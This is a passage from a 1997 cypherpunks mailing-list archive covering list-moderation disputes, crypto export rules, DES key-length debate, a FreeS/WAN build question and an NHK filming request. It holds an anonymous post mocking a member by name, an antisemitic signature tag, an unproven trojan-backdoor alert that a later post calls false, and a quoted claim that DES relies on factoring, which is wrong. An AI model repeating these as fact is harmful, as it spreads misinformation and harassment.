nation, a corporation > and an individual ought to be, we would like to portray your assertions and > proposals through the discussions of tomorrow's CP meeting, demonstrations, > speeches and booings(just kidding..). > We assure you all that we will do our best not be of your distractions. > (I know you won't, but) I hope you don't show up with a tie and a three > piece suit just because you'll be on TV... ;-) > We look forward to the usual (or perhaps more than ever) Cypherpunkish > meeting tomorrow! From nobody at huge.cajones.com Fri Feb 7 19:11:58 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Fri, 7 Feb 1997 19:11:58 -0800 (PST) Subject: [ANNOUNCEMENT] Hash functions Message-ID: <199702080311.TAA26235@mailmasher.com> Timothy C. Mayo's reheated, refurbished, and regurgitated cud is completely inappropriate for the mailing lists into which it is cross-ruminated. o o o o o /~> <><><> <> Timothy C. Mayo o...(\ |||||| || From das at razor.engr.sgi.com Fri Feb 7 19:24:27 1997 From: das at razor.engr.sgi.com (Anil Das) Date: Fri, 7 Feb 1997 19:24:27 -0800 (PST) Subject: Enlightened commentary on Netizen. Message-ID: <9702062041.ZM18929@razor.engr.sgi.com> First, Rebecca Vesely has a special report, the main thrust of which is that three firms being allowed to export 56 bit encryption indicates flexibility on the part of the government. http://www.netizen.com/netizen/97/05/special2a.html To top it off, here are two gems from the followup discussion. http://www.netizen.com/cgi-bin/interact/replies_all?msg.37387 2. 56 ONLY A SLIGHTLY SMALLER JOKE Ric Allan (ricrok) on Wed, 5 Feb 97 11:53 PST If it takes a college student four hours to break a 40bit code it should take him/her about six hours to do the same to 56bits. Then what excuses are the government and its butt-kissing companies going to give us for not allowing *real* coding? 4. 56bits will not take 6 hours to crack Piers Cawley (pdcawley) on Thu, 6 Feb 97 05:05 PST Rick seems to be missing the point about strong encryption -- the reason that DES/IDEA encryption is hard to crack is because the key system is based on the fact that factoring big numbers is a long, slow tedious process which gets exponentially harder as the length of the number increases. What this means is that it'll probably take the college student, ooh... 24 hours to crack a 56 bit key. However, the question has to be asked, why the fuck should we non US citizens go and buy cryptographic software that is deliberately coded to allow the US government to read our mail? -- Anil Das From hugh at far.toad.com Fri Feb 7 19:55:52 1997 From: hugh at far.toad.com (Hugh Daniel) Date: Fri, 7 Feb 1997 19:55:52 -0800 (PST) Subject: NETLINK_IPSEC Message-ID: <199702080355.TAA08275@toad.com> The #define you are looking for is in: /usr/src/linux/include/net/ip_forward.h in my 2.0.25 source tree. I sugjest that you upgrate to the current 2.0.XX kernel (I have used 2..0.28 with the ipsec-0.4 distrabution). ||ugh Daniel Linux FreeSWAN Project hugh at toad.com From EALLENSMITH at ocelot.Rutgers.EDU Fri Feb 7 19:55:54 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Fri, 7 Feb 1997 19:55:54 -0800 (PST) Subject: My messages not appearing on either of the lists? Message-ID: <199702080355.TAA08276@toad.com> From: IN%"mpd at netcom.com" "Mike Duvos" 7-FEB-1997 20:56:39.36 >That's all very nice, but I should point out that I have not yet >seen my message to which you are responding on the filtered list. >Others mileage may vary. IIRC, Majordomo sends out messages _approximately_ in the order of the person's subscription. In any event, it has to send them out in _some_ order, and on a mailing list as large as cypherpunks, it's going to take a while to get from one end to the other. -Allen From jeremey at veriweb.com Fri Feb 7 19:55:55 1997 From: jeremey at veriweb.com (Jeremey Barrett) Date: Fri, 7 Feb 1997 19:55:55 -0800 (PST) Subject: NETLINK_IPSEC Message-ID: <199702080355.TAA08277@toad.com> -----BEGIN PGP SIGNED MESSAGE----- When running 'make modules', NETLINK_IPSEC and IPFWD_NOTTLDEC are undeclared. I added NETLINK_IPSEC to include/net/netlink.h, but IPFWD_NOTTLDEC is not to be found. I'm running kernel 2.0.0, the INSTALL.txt file in the ipsec distribution mentions 2.0.24, is that the minimum kernel to run on? Thanks. - -- =-----------------------------------------------------------------------= Jeremey Barrett VeriWeb Internet Corp. Senior Software Engineer http://www.veriweb.com/ PGP Key fingerprint = 3B 42 1E D4 4B 17 0D 80 DC 59 6F 59 04 C3 83 64 =-----------------------------------------------------------------------= -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface iQCVAwUBMvvG3C/fy+vkqMxNAQECrQQAgjHE7CIQZyTHV9wfLvuoxk8TkOVHMSJD +gpHAme20wSOOtIVw3ZBJxDvCiFiyHFaoEI0o/Xkqs6fXUoRgjQkLvuSJi3dgm+N 3gVB7Gf14dK14qChJyEyPMlMXAe2hWehxojTizS2LHfX7gvzPHMN0D5DGEKsM+MN wYfDdGzNsX8= =lK+H -----END PGP SIGNATURE----- From dthorn at gte.net Fri Feb 7 19:56:31 1997 From: dthorn at gte.net (Dale Thorn) Date: Fri, 7 Feb 1997 19:56:31 -0800 (PST) Subject: Is Sandy really censoring criticisms of Stronghold, his product? Message-ID: <199702080356.TAA08304@toad.com> Timothy C. May wrote: > At 10:07 PM +0000 2/7/97, Against Moderation wrote: > >Okay, I went through my old mail, and I'm fairly sure this is the > >message. I'm convinced it never went to the flames list, and now that > >I've found out I'm on the -unedited list after all, I think it > >probably didn't go to the regular cypherpunks list either. Can people > >on the various lists confirm this for me? > >A lot of people out there are subscribing to the cypherpunks-flames > >and cypherpunks lists thinking that they will see everything that gets > >rejected (albeit with a substantial delay). If this is not the case, > >it should be made clear. Otherwise, it's not moderation, but > >dishonesty. Normally I'd address just the list, but in this case I'm sure you'll understand. Check the archives of Sandy's moderation announcements, and I believe you'll see where he claimed that although *all* messages would make it to the -unedited list, he admitted that some of those would not make it to either the -edited or -flames lists, due to the anomalies of hand-editing. From hanabusa at bnn-net.or.jp Fri Feb 7 19:56:32 1997 From: hanabusa at bnn-net.or.jp (Sh.Hanabusa) Date: Fri, 7 Feb 1997 19:56:32 -0800 (PST) Subject: Dear Cypherpunks /from NHK Clew Message-ID: <199702080356.TAA08305@toad.com> Dear Cypherpunks, We are a film crew from NHK, Japanese Public Television (Japan's largest TV network). As you may have all seen the announcement posting, we would like to attend tomorrow's CP physical meeting for filming. We consider the "Crypto War" you are all fighting, not only a U.S domestic issue. It is a historic process which would effect the basic order/system of the global network society for the 21st century. In the midst of the ongoing changes of the idea of how a nation, a corporation and an individual ought to be, we would like to portray your assertions and proposals through the discussions of tomorrow's CP meeting, demonstrations, speeches and booings(just kidding..). We assure you all that we will do our best not be of your distractions. (I know you won't, but) I hope you don't show up with a tie and a three piece suit just because you'll be on TV... ;-) We look forward to the usual (or perhaps more than ever) Cypherpunkish meeting tomorrow! _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ Shuichiro Hanabusa (hanabusa at bnn-net.or.jp) Producer/Special Programs NHK Enterprises 21 Inc. Location: San Mateo/Carifornia _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ From ichudov at algebra.com Fri Feb 7 19:56:34 1997 From: ichudov at algebra.com (ichudov at algebra.com) Date: Fri, 7 Feb 1997 19:56:34 -0800 (PST) Subject: Sandy suppresses truth about his moderation policy Message-ID: <199702080356.TAA08306@toad.com> Below are some interesting facts implying that: 1) Sandy uses a bot to reject articles of people he does not like 2) When I exposed him with an article showing all Received: dates, he a) rejected the article exposing him and b) changed his moderation software so that Received: headers for the cypherpunks-flames do not show the times when messages came in 3) Sandy apologized to Tim May for rejecting one of Vulis's articles, and yet he rejects my message quoting same article. I question how genuine were his apologies to Tim. At this point, I have enough data to conclude that * Sandy is not a good moderator * Sandy does not have the interests of his readership in his mind * Sandy should not be trusted At this point, two events are likely to happen: either moderation ceases, or Sandy and John will pull the plug on the unedited and flames list. - Igor. $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ Note that there are no more incoming Received: lines in the message that went to flames, BUT yesterday the received lines were there. Note also that my address (From: line) has been rewritten in such a way that my name disappeared. I believe that the latter is due to a sloppy perl script that got screwed up by presence of "@" character in my name. $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ Received: (from geek at localhost) by manifold.algebra.com (8.8.3/8.8.2) id SAA06751 for ichudov; Fri, 7 Feb 1997 18:57:04 -0600 Received: (from root at localhost) by manifold.algebra.com (8.8.3/8.8.2) with UUCP id JAA03038 for geek+test+cypherpunks-flames at algebra.com; Fri, 7 Feb 1997 09:12:23 -0600 Received: from toad.com (toad.com [140.174.2.1]) by www.video-collage.com (8.8.5/8.8.0) with ESMTP id KAA16283 for ; Fri, 7 Feb 1997 10:11:26 -0500 (EST) Received: (from majordom at localhost) by toad.com (8.7.5/8.7.3) id HAA24873; Fri, 7 Feb 1997 07:11:59 -0800 (PST) Message-Id: <199702071511.HAA24873 at toad.com> Date: Fri, 7 Feb 1997 01:34:36 -0600 (CST) From: ichudov at algebra.com To: Cypherpunks , tcmay at got.net Subject: Re: anonymous remailers Sender: geek at algebra.com Precedence: bulk Status: RO [I am sending a copy of my article to Tim just to make sure] Sandy Sandfort wrote: > > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > SANDY SANDFORT > . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . > > C'punks, > > On Thu, 6 Feb 1997, Timothy C. May wrote: > > > Why was this message (attached below) sent to the "Flames" list? (*) It > > contains an assertion that the remailer operators are colluding to reveal > > identities, and this is surely a fit topic for discussion. > > > > (* I have temporarily subscribed to the Flames list to see just what it is > > being filtered or censored by Sandy. I received this message, and it had > > the header "Sender: owner-cypherpunks-unedited at toad.com," thus I surmise it > > is a "Flames" message. It would help, by the way, if messages were more > > clearly labelled by the Moderator as to which bucket he placed them in.) > > Currently, there are three lists. It looks as though the message > in question appeared on the Unedited list. This is NOT the same > as the Flames list. > > I don't recall where I sorted that particular post to after I > read it on the Unedited list. If it went to the "wrong" list, > my apologies to the author. As I indicated before, I don't think I am attaching Vulis's posting below, so that the mistake could be corrected. Judging by the dates in the headers, it went to flames list in 3 seconds after arrival to toad.com. That makes me think that somehow it got routed there without human involvement. > a 100% solution is possible, but I think I'm running in the high > 90s under the criteria I enunciated. Not perfection, but a > definite improvement over the prior condition. I see three problems with the current state of the list: 1) There is no charter and no criteria that I am aware of, so your 90% statement is meaningless 2) Moderation policy has not been set (or voted upon) by the readers, therefore it was not optimised to serve the readers 3) Crypto-relevant posts, not containing any flames, get rejected. >From cypherpunks-errors at toad.com Thu Feb 6 22:20:35 1997 Return-Path: Received: (from root at localhost) by manifold.algebra.com (8.8.3/8.8.2) with UUCP id WAA12996; Thu, 6 Feb 1997 22:20:29 -0600 Received: from toad.com (toad.com [140.174.2.1]) by www.video-collage.com (8.8.5/8.8.0) with ESMTP id XAA01326; Thu, 6 Feb 1997 23:14:12 -0500 (EST) Received: (from majordom at localhost) by toad.com (8.7.5/8.7.3) id UAA08550; Thu, 6 Feb 1997 20:13:50 -0800 (PST) Received: from uu.psi.com (uu.psi.com [38.9.86.2]) by toad.com (8.7.5/8.7.3) with SMTP id UAA08545; Thu, 6 Feb 1997 20:13:47 -0800 (PST) Received: by uu.psi.com (5.65b/4.0.061193-PSI/PSINet) via UUCP; id AA07700 for ; Thu, 6 Feb 97 23:07:09 -0500 Received: by bwalk.dm.com (1.65/waf) via UUCP; Thu, 06 Feb 97 22:24:48 EST for cypherpunks at toad.com To: cypherpunks at toad.com Subject: Re: anonymous remailers From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Comments: All power to the ZOG! Message-Id: Date: Thu, 06 Feb 97 22:22:05 EST In-Reply-To: <32fa39d8.16371604 at mail-relay.internetmci.com> Organization: Brighton Beach Boardwalk BBS, Forest Hills, N.Y. Sender: owner-cypherpunks at toad.com Precedence: bulk Status: RO c.musselman at internetmci.com (Charley Musselman) writes: > C'punks -- > When I told a friend about the alt.drugs.pot cultivation newsgroup > and suggested that he use an anonymous remailer to post to the group, > he laughed and said, "Who do you suppose runs the remailers? ATF, > FBI, DEA, that's who!" Gee, it makes sense to this paranoid. Does > anyone know the answer? Specifically, how can we choose a trusted > remailer? Even if the feds are not directtly involved, the so-called "cypher punk" remailers are run by people who should not be trusted. Check out their remailer-operators list: it's full of announcements that some specific person posted something via the remailer that the operator didn't like. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From jya at pipeline.com Fri Feb 7 19:57:34 1997 From: jya at pipeline.com (John Young) Date: Fri, 7 Feb 1997 19:57:34 -0800 (PST) Subject: BXA Encryption Regs Message-ID: <199702080357.TAA08327@toad.com> Federal Register: February 7, 1997, Page 5797-5798: Bureau of Export Administration Sensors and Instrumentation Technical Advisory Committee; Partially Closed Meeting A meeting will be held March 4, 1997, 9 a.m., in the Herbert C. Hoover Building, Room 1617M-2, 14th Street between Constitution and Pennsylvania Avenues, N.W., Washington, DC. Agenda, General Session 1. Opening remarks by the Chairman. 2. Report on the status of The Wassenaar Arrangement. 3. Discussion on the Encryption Reg. 4. Presentation of papers or comments by the public. ---------- A bit more on this in the full notice at: http://jya.com/bxa020797.txt ---------- Note: February 13 is the cutoff for comments on EAR for EI: http://jya.com/bxa123096.txt From whgiii at amaranth.com Fri Feb 7 19:58:48 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Fri, 7 Feb 1997 19:58:48 -0800 (PST) Subject: ANNOUNCEMNT: February 1997 keysigning session In-Reply-To: <199702072349.PAA20677@peregrine.eng.sun.com> Message-ID: <199702072202.WAA19978@mailhub.amaranth.com> -----BEGIN PGP SIGNED MESSAGE----- In <199702072349.PAA20677 at peregrine.eng.sun.com>, on 02/07/97 at 05:49 PM, Ed.Falk at Eng.Sun.COM (Ed Falk) said: >We have enough people who want to have a PGP keysigning session at tommorrow's >meeting to make it worthwhile. We'll probably be doing it at 17:00 or >thereabouts. Unfortunatly I have too much work to make the 3,000 miles to get there. :( Would it be possiable at the next meeting to set up a CU-SEE-ME session for those of us who do not live in the Bay Area? Thanks, - -- - ----------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. Finger whgiii at amaranth.com for PGP Key and other info - ----------------------------------------------------------- Tag-O-Matic: I'm an OS/2 developer...I don't NEED a life! -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Registered User E-Secure v1.1 0000000 iQCVAwUBMvv9D49Co1n+aLhhAQE1lgP/Sh0Mszii6dvSkssMI3rTHllz+EbFrtKk k3qOPFkBSRbsaSXBTopenUjNpbbHANgzzUJRnekaUJIyZbTGRY9PF+QAFcsF/vXI 2HIjnStiyXdgESPE0YFPRiTzrkR5/18Ga2s20AlWXgaQApSSmIAhwrFWjmi1kQws y0n+CZwqa0U= =A+nO -----END PGP SIGNATURE----- From jya at pipeline.com Fri Feb 7 20:10:48 1997 From: jya at pipeline.com (John Young) Date: Fri, 7 Feb 1997 20:10:48 -0800 (PST) Subject: Brassard on Grover's Shake Message-ID: <199702080410.UAA08550@toad.com> Gilles Brassard writes on Grover's "quantum shake" searching algorithm, demonstrates how it would break DES, and assays the promise of QC research. He notes that enviable NSA funds favor LAQC. ----- http://jya.com/qshake.htm From stewarts at ix.netcom.com Fri Feb 7 20:18:14 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Fri, 7 Feb 1997 20:18:14 -0800 (PST) Subject: 40-bit RC5 crack meaningless?? In-Reply-To: <199702071513.HAA24904@toad.com> Message-ID: <3.0.1.32.19970207200944.005c0ac0@popd.ix.netcom.com> At 09:37 AM 2/7/97 -0500, Vin McLellan wrote: > Now, an international institution which buys and bets the bank upon >US-exportable (40-bit) cryptography probably deserves what it has bought: > [...] even 56-bit keys -- whatever the algorithm! -- offer only "minimal" security. >(What Goldberg did in hours, many could do in a days or weeks with much >less equipment. You don't bet the bank on 40-bit crypto, unless you're, ummm, accepting credit cards over wimp-configured sessions of SSL. (You, as merchant, may not lose if there's a forgery, and your customer's loss may be limited to $50, but the bank's loss isn't limited except by how fast they can block thieves.) While banks get Extra Slack on crypto exports, and can use 56-bit DES, they've got more serious adversaries - building a $1M machine to win a $1000 contest is a bit expensive for the average grad student, but it's a perfectly reasonable investment if you're planning to rob banks of millions of dollars with it, especially if you think you can either siphon the money off slowly while hitting a lot of banks or else make a really big haul all at once. Banks aren't the only kind of company with big money floating around; stockbrokers, commodities traders, purchasing departments of big companies that might not notice that they're buying a few percent more parts, and all sorts of other large companies are targets for crypto-cracking thieves. Because well-funded thieves can do this kind of financial damage, we have a legitimate-sounding spin on "Federal law enforcement's job includes preventing large-scale theft, and they're letting their political agenda get in the way of doing their job. Sure, 56-bit keys are harder to crack than 40, but well-funded crackers could use the same techniques Ian did." Either method of theft requires being non-stupid enough not to get caught afterwards (like the $(24?)M computerized bank job last year), and having your "partners" not rip you off; a big heist also risks detection by tracking chip purchases, and provoking the Feds into banning "ASIC Laundering" and criminalizing illegal possesion of field-programmable gate arrays and such paranoid silliness. ..>> the same Strassmann Yeah, him :-) > (It was a usefully overheated hook for some article on compsec, but >I don't think I ever used it. Reminded me too much of warnings that >someone was bound to someday taint the city water reservoir with LSD;-) But we _were_ planning to enhance the water that way, back in the 60s! :-) # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From nobody at huge.cajones.com Fri Feb 7 20:25:57 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Fri, 7 Feb 1997 20:25:57 -0800 (PST) Subject: [ANNOUNCEMENT] Hash functions Message-ID: <199702080425.UAA08798@toad.com> Timothy C. Mayo's reheated, refurbished, and regurgitated cud is completely inappropriate for the mailing lists into which it is cross-ruminated. o o o o o /~> <><><> <> Timothy C. Mayo o...(\ |||||| || From whgiii at amaranth.com Fri Feb 7 20:25:58 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Fri, 7 Feb 1997 20:25:58 -0800 (PST) Subject: ANNOUNCEMNT: February 1997 keysigning session Message-ID: <199702080425.UAA08799@toad.com> -----BEGIN PGP SIGNED MESSAGE----- In <199702072349.PAA20677 at peregrine.eng.sun.com>, on 02/07/97 at 05:49 PM, Ed.Falk at Eng.Sun.COM (Ed Falk) said: >We have enough people who want to have a PGP keysigning session at tommorrow's >meeting to make it worthwhile. We'll probably be doing it at 17:00 or >thereabouts. Unfortunatly I have too much work to make the 3,000 miles to get there. :( Would it be possiable at the next meeting to set up a CU-SEE-ME session for those of us who do not live in the Bay Area? Thanks, - -- - ----------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. Finger whgiii at amaranth.com for PGP Key and other info - ----------------------------------------------------------- Tag-O-Matic: I'm an OS/2 developer...I don't NEED a life! -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Registered User E-Secure v1.1 0000000 iQCVAwUBMvv9D49Co1n+aLhhAQE1lgP/Sh0Mszii6dvSkssMI3rTHllz+EbFrtKk k3qOPFkBSRbsaSXBTopenUjNpbbHANgzzUJRnekaUJIyZbTGRY9PF+QAFcsF/vXI 2HIjnStiyXdgESPE0YFPRiTzrkR5/18Ga2s20AlWXgaQApSSmIAhwrFWjmi1kQws y0n+CZwqa0U= =A+nO -----END PGP SIGNATURE----- From das at razor.engr.sgi.com Fri Feb 7 20:25:59 1997 From: das at razor.engr.sgi.com (Anil Das) Date: Fri, 7 Feb 1997 20:25:59 -0800 (PST) Subject: Enlightened commentary on Netizen. Message-ID: <199702080425.UAA08800@toad.com> First, Rebecca Vesely has a special report, the main thrust of which is that three firms being allowed to export 56 bit encryption indicates flexibility on the part of the government. http://www.netizen.com/netizen/97/05/special2a.html To top it off, here are two gems from the followup discussion. http://www.netizen.com/cgi-bin/interact/replies_all?msg.37387 2. 56 ONLY A SLIGHTLY SMALLER JOKE Ric Allan (ricrok) on Wed, 5 Feb 97 11:53 PST If it takes a college student four hours to break a 40bit code it should take him/her about six hours to do the same to 56bits. Then what excuses are the government and its butt-kissing companies going to give us for not allowing *real* coding? 4. 56bits will not take 6 hours to crack Piers Cawley (pdcawley) on Thu, 6 Feb 97 05:05 PST Rick seems to be missing the point about strong encryption -- the reason that DES/IDEA encryption is hard to crack is because the key system is based on the fact that factoring big numbers is a long, slow tedious process which gets exponentially harder as the length of the number increases. What this means is that it'll probably take the college student, ooh... 24 hours to crack a 56 bit key. However, the question has to be asked, why the fuck should we non US citizens go and buy cryptographic software that is deliberately coded to allow the US government to read our mail? -- Anil Das From dthorn at gte.net Fri Feb 7 20:27:42 1997 From: dthorn at gte.net (Dale Thorn) Date: Fri, 7 Feb 1997 20:27:42 -0800 (PST) Subject: Dear Cypherpunks /from NHK Clew Message-ID: <199702080427.UAA08852@toad.com> I'm sorry I can't drive the 500 miles to the meeting, but in Los Angeles, the USA's #2 city, there are NO meetings. Sad but true. People in Los Angeles just don't comply with censorship as well as those in the Bay Area, apparently. Anyway, please don't base the whole story on what goes on at the meeting, since the people who show up at the meeting are the ones who most agree with John and Sandy. Do you know what I mean? There's an assumption in the USA, which even the cypherpunks share, that the rogue elements of the government are to be considered "innocent until proven guilty", even after the fact when they are caught and never prosecuted. Someday, when we have enough research data on this current series of events, we will be able to expose the money trail which demonstrates the motivations of the "list" owners. In the meantime, I trust you'll not be taken in by the sweet-talk you'll get in San Francisco. Sh.Hanabusa wrote: > We are a film crew from NHK, Japanese Public Television (Japan's largest > TV network). As you may have all seen the announcement posting, we would > like to attend tomorrow's CP physical meeting for filming. > We consider the "Crypto War" you are all fighting, not only a U.S domestic > issue. It is a historic process which would effect the basic order/system > of the global network society for the 21st century. > In the midst of the ongoing changes of the idea of how a nation, a corporation > and an individual ought to be, we would like to portray your assertions and > proposals through the discussions of tomorrow's CP meeting, demonstrations, > speeches and booings(just kidding..). > We assure you all that we will do our best not be of your distractions. > (I know you won't, but) I hope you don't show up with a tie and a three > piece suit just because you'll be on TV... ;-) > We look forward to the usual (or perhaps more than ever) Cypherpunkish > meeting tomorrow! From ott0matic at hotmail.com Fri Feb 7 20:27:59 1997 From: ott0matic at hotmail.com (Otto Matic) Date: Fri, 7 Feb 1997 20:27:59 -0800 (PST) Subject: What else do I need for an Internet Server Message-ID: <199702080427.UAA04975@f29.hotmail.com> What else do I need for an internet server? HP Vectra Towers 2 each 486 cyrex chips 50 meg processor Need high speed hard drives. These are the Tall Towers that have multiple drives, these are server towers. I think I have a router Hub. And a couple LAN cards. That's all I have. But I just got them, and I want to use them. I assume I will be using some kind of UNIX software. Thanks: otto =-=-=-=-=- Otto Matic "Fuckin' A, Miller!" Bud, Repo Man --------------------------------------------------------- Get Your *Web-Based* Free Email at http://www.hotmail.com --------------------------------------------------------- From antimod at nym.alias.net Fri Feb 7 20:31:26 1997 From: antimod at nym.alias.net (Against Moderation) Date: Fri, 7 Feb 1997 20:31:26 -0800 (PST) Subject: The Frightening Dangers of Moderation Message-ID: <19970208043115.2364.qmail@anon.lcs.mit.edu> -----BEGIN PGP SIGNED MESSAGE----- Well, folks, tonight I have witnessed the frightening dangers of moderation and censorship first-hand, and would like to tell you what has happened. I think there is an important lesson to be learned from these incidents. Before I explain what has happened, I want to make one thing absolutely clear. Though I've thought the moderation of cypherpunks was a terrible idea from the start and am even more convinced of it now, I don't assign any blame to Sandy. I believe he offered to moderate the list with the best of intentions, and I sincerely appreciate his efforts to try to revive what was once a fantastic mailing list, even if in my opinion those efforts have backfired. Sandy has been a valuable advocate of cypherpunk beliefs and a lively contributor to cypherpunks list for a long time. Though the moderation experiment has resulted in some terrible consequences, we can't blame him for what has happened. If the events I have witnessed tonight occured with such a high-standing member of the cypherpunks community in charge, the cause of them can only be the very nature of moderation and censorship. I don't think any of us could have done much better in Sandy's shoes. Now, what happened tonight? As some of you may recall, a month or so ago I vehemently argued against the elimination of the cypherpunks-unedited mailingt list. Some people (though no one associated with toad.com) were claiming that 3 mailing lists might be too much load, and that having cypherpunks and cypherpunks-flames would be enough. I argued that not only would the delay of waiting for a decision put alternate cypherpunks moderators at a disadvantage, it would make it farm more difficult to convince people of the moderator's honesty as there would be no guarantee that messages made it to either list. Fortunately, cypherpunks-unedited did get created (it seems no one "in charge" ever intended not to create it). Well, as it turns out, a number of messages have made it neither to cypherpunks nor to cypherpunks-flames. Making matters worse, however, not only are certain messages being suppressed from both lists, but even messages mentioning that fact get suppressed from both the cypherpunks and the cypherpunks-flames lists! Here's exactly what happened. I was beginning to believe that Dmitri Vulis had sent an (admitedly objectionable) message to the cypherpunks mailing list, but that the message had gone to neither the cypherpunks nor the cypherpunks-flames lists. Since I was under the impression that every article was supposed to go to one list or the other, and many people probably still believe that, I mentioned this somewhat startling fact on the cypherpunks mailing list, I believe in response to a post by Tim May on the same subject. Tim replied (in a message Cc'ed to cypherpunks--though I don't think it went anywhere but to -unedited), asking me in the message, "Can you send to the list, with a copy to me, the articles CENSOREDCENSOREDCENS OREDCENSOREDCENSORE?" I therefore went back through my mail archives and found a copy of the message that I believed had gone to neither mailing list. I sent it to Tim and to cypherpunks. I prepended a few paragraphs in which I asked people to confirm that the message had gone to neither mailing list. Among other things in those paragraphs, I stated that Vulis's message was "verifiably false". It was clear from the context that I was forwarding this message to ask people which lists it had gone to, not because I believed the content to be correct or even at all convincing or interesting. That message I sent, quoting Vulis's, immediately follows this message, after the line '========'. Then, tonight, I received a message from Sandy, which I include below a second '========' marker. In that letter, Sandy had explicitly aknowledged not only that he had sent Vulis's letter to neither mailing list, but that he wouldn't send my letter to either mailing list, either! He claimed that he couldn't forward Vulis's message because it was libel, and accused me of committing libel simply by quoting Vulis's message, even though I explicitly stated that Vulis's message was verifiably false. Well, this travesty must exposed, even if I can't make known all the details for fear of libel charges. I am therefore forwarding everything I can to the cypherpunks mailing list, for all to see. As you can see, Vulis made unfounded and incorrect charges that a particular system contained a security hole. Believe me, if I could get into the details of the case I could convince you easily that his claim is not true. However, since even quoting that claim apparently opens me up to charges of libel, I can't give you the details. Thus, I have censored (by overriting original text with the letters CENSORED) any portion of quoted messages that might give you an indication of what system Vulis actually claimed had a security hole. This censorship should not, however, affect my main point, and the lesson that I hope we can all take away from this. When it comes down to it, the details of this case do not matter. What does matter is that even when the "good guys" attempt benign censorship, it can have frighteningly far-reaching effects on people's ability to discuss otherwise reasonable topics such as the mechanics of the cypherpunks list. I generally dislike censorship and moderation, but the consequences of the cypherpunks experiment have gone far beyond anything I could have imagined. In closing, let me reiterate that I don't think most of this is Sandy's, John's, or anyone else's fault. Given the knowledge I have of this case, I believe Sandy has unwittingly found himself ensnarled in a nasty legal situation where, for fear of legal reprisal he must block articles that he has a moral obligation to send to cypherpunks-flames. I certainly don't envy his position. [To moderator Sandy: I believe we must get the content of this message to the main cypherpunks mailing list. I have done everything I can to ensure that the message contains no libel. If, for some reason, you still can't send it on to the main cypherpunks mailing list, can you please tell me specifically which parts cause problems. I will the CENSOR them out and try again. This message contains important, highly relevant information for the cypherpunks community. Please help me do what it takes to get it accepted by the moderation process. Thanks.] ======== To: tcmay at got.net CC: cypherpunks at toad.com Chain: nym=antimod In-reply-to: (tcmay at got.net) Subject: Re: Is Sandy really censoring criticisms of CENSORCENSOREDCENSOREDC? Okay, I went through my old mail, and I'm fairly sure this is the message. I'm convinced it never went to the flames list, and now that I've found out I'm on the -unedited list after all, I think it probably didn't go to the regular cypherpunks list either. Can people on the various lists confirm this for me? Given the total lack of technical content, the flamey nature of the article, and the fact that it is verifiably false (CENSOREDCENSOREDC ENSOREDCENSOREDCE), I can see people arguing it should have gone to - -flames (though I would probably disagree). However, I don't want to debate that. What I object to more strongly and think is wrong is the fact that it went to *neither* list. A lot of people out there are subscribing to the cypherpunks-flames and cypherpunks lists thinking that they will see everything that gets rejected (albeit with a substantial delay). If this is not the case, it should be made clear. Otherwise, it's not moderation, but dishonesty. - -- >From cypherpunks-errors at toad.com Thu Jan 30 17:26:50 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Subject: Security alert!!! To: cypherpunks at toad.com Date: Thu, 30 Jan 97 16:15:21 EST Organization: Brighton Beach Boardwalk BBS, Forest Hills, N.Y. Received: (from majordom at localhost) by toad.com (8.7.5/8.7.3) id OAA18833; Thu, 30 Jan 1997 14:17:05 -0800 (PST) Received: from uu.psi.com (uu.psi.com [38.9.86.2]) by toad.com (8.7.5/8.7.3) with SMTP id OAA18824; Thu, 30 Jan 1997 14:16:39 -0800 (PST) Received: by uu.psi.com (5.65b/4.0.061193-PSI/PSINet) via UUCP; id AA02017 for ; Thu, 30 Jan 97 16:57:10 -0500 Received: by bwalk.dm.com (1.65/waf) via UUCP; Thu, 30 Jan 97 16:19:19 EST for cypherpunks at toad.com Comments: All power to the ZOG! Message-Id: Sender: owner-cypherpunks at toad.com Precedence: bulk Lines: 19 WARNING: There's a rogue trojan horse out there on the internet CENSOREDCENS OREDCENSOREDCENSOREDCEN. It's actually a hacked-up version of CENSOR with a backdoor, which allows hackers (or whoever knows the backdoor) to steal credit card numbers and other confidentil information on the Internet. Be careful! Always use encryption. Do not send confidential information 9such as passwords and credit card numbers) to any site running the trojan horse CENSOREDCENS. In general, beware of "snake oil" security products and hacked-up versions of free software. Please repost this warning to all relevant computer security forums. - --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps ======== X-From: sandfort at crl.com Sat Feb 08 00:56:23 1997 Date: Fri, 7 Feb 1997 16:45:31 -0800 (PST) From: Sandy 